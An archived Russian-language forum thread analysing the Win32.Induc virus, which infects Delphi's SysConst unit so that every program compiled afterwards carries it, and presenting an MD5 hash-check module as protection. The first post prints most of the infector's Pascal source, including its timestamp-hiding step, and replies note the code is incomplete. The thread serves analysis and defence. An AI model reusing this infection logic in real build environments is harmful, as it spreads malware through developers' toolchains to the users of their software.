PDA

Просмотр полной версии : Защита от Win32.Induc (Delphi)


flacs
20.08.2009, 22:12
Вступление

Недавно в новостях (https://forum.antichat.ru/thread136078.html) был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки.

Вирус оказался необычным и мне захотелось исследовать этот тип вируса.
Разбор полетов, первая модификация этого вируса (12 августа 2009)


function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;

while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;

for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;

procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if

RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Bo rland\Delphi\'+v+'.0'),0,KEY

_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;

re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sys const.','"'+r+'\bin\dcc32.ex

e" ');
end;
RegCloseKey(k);
end;
end;

begin
st;
end.



Код несложный, изучив его вы сможете понять его логику.
Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом.

Попробуем реализовать, подобное
Откроем файл sysconst.pas, после interface
пишем uses windows;
и после строки implementation, вписываем такой код

begin
MessageBox(0,'Win32.InducA','virus',0);
end;

Компилируем, ага появилась заветное сообщение.

т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но...
существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код
так, что поняв это я начал писать универсальную защиту от подобного типа вирусов.

Защита

Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия:

1) Создание файла хешей
2) Сверка хешей, во время запуска

Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!!
т.е.
anti_induc, sysutils;

Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst)

1) Создание файла хешей

SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true);


В результате выполнения создается файлик по умолчанию (__hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде

имя файла = хеш файла

2) Сверка хешей

SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false);

Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение

Universal Detect Virus.Win32.Induc.A
File: имя файла

Также результаты записываться в лог файл %Delphi%\Lib\log.txt

Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать.


Заключение

Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID.

Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows.

исходные файлы, и эксперименты вы можете скачать по слылке

исходники (http://www.sendspace.com/file/z38q95)

(с) flacs 2009

P.S: принимаю любую конструктивную критику.

ErrorNeo
20.08.2009, 22:36
во первых вирус не новый
) я там обновил новость. впервые его обнаружили еще весной, но есть мнение, что этому вирусу уже больше года... <думаю комментарии тут не требуются>

код у тебя не полный) выложил бы хоть полный, все равно ведь вирь сам по себе не просто безобидный, но даже создаёт *.bak файл изменяемого им дельфи модуля!11
вот именно у таких виримейкеров надо учиться школьнегам, мечтающим всё у всех отформатировать)

автор позаботился даже о том, чтобы зараженным машиная не было нанесено даже _минимального_ ущерба, и вирус мог бы быть совершенно без последствий удален.

защита? ну да, молодец. +. хотя пытаться защитить винду - все равно, что пытаться поставить заплатки на все дырки в гигантском решете)

в любом случае плюс) лично мне эта защита не нужна, мне интереснее сама эта замечательная зверушка)

flacs
20.08.2009, 22:46
код вируса я в каком то блоге взял... и логика его работы понятна.

через реестр находим, где установлена Delphi, идем в папку lib, у файла sysconst.pas, меняется расширение(sysconst.bak), из исполняемого файла вытаскивается тело вируса(тело вируса в const), и компилируется утилитой dcc32.exe (производящая в компоновку в *.dcu модули)
Для пущей скрытности, меняется время создания файлов sysconst.bak, sysconst.dcu, в то время когда был создан неинффицированый файл sysconst.pas (оригинальный)

Nightmarе
20.08.2009, 22:48
А во вторых скоро будут аналоги.... и уже с вредоносным кодом...

ErrorNeo
21.08.2009, 00:35
вообще, пожалуй, да....
этот код сейчас разошелся по всему миру... я думаю очень многие умельцы используют именно его как основной метод распространения.
так что защита флакса может оказаться гораздо более нужной, чем мне показалось сначала

потому что я, например, не сомневаюсь, что если чуть чуть по-шаманить над кодом - то он опять перестанет палиться)

Chrome~
21.08.2009, 11:53
Мда... Я думал, что это глюк в Касперском, - палить проги на этапе создания. Поэтому всегда отключал его. Спасибо, не знал раньше об этом вирусе...

mr. ZetRikS
21.08.2009, 17:45
Спасибо за инфу... буквально позвачера столкнулся с этим вирем...
Как подцепил так и не понял...

slesh
21.08.2009, 20:39
самый лучший способ защиты - это запретить запись в папку с DCU файлами. Темболее что через установку прав доступа на NTFS это делает проще некудо. Зато можно небояться. потому как врядли вирь будет менять права доступа, покрайней мере по началу. Или вообще убрать себя из владельцев файлов. чтобы даже незя было поменять права доступа просто так. А тока через аудит итд итп